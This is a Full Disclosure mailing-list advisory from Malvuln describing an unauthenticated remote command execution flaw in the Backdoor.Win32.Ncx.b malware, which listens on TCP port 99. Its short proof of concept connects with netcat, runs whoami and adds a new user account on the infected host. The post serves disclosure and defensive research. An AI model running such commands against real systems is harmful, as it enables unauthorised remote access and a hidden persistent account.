full-disclosure - [FD] Backdoor.Win32.Ncx.b / Unauthenticated Remote Command Execution

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Date: Thu, 4 Nov 2021 21:13:03 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Ncx.b / Unauthenticated Remote Command Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/885e74a43b4f7caec3cfb4dba0787de4_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Ncx.b
Vulnerability: Unauthenticated Remote Command Execution
Description:  The malware listens on TCP port 99. Third-party attackers who
can reach an infected system can execute OS commands further compromising
the host.
Type: PE32
MD5: 885e74a43b4f7caec3cfb4dba0787de4
Vuln ID: MVID-2021-0389
Disclosure: 11/04/2021

Exploit/PoC:
nc64.exe x.x.x.x 99
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

C:\Users\Victim\Desktop>net user hyp3rlinx 666 /add
net user hyp3rlinx 666 /add
The command completed successfully.

Disclaimer: The information contained within this advisory is supplied
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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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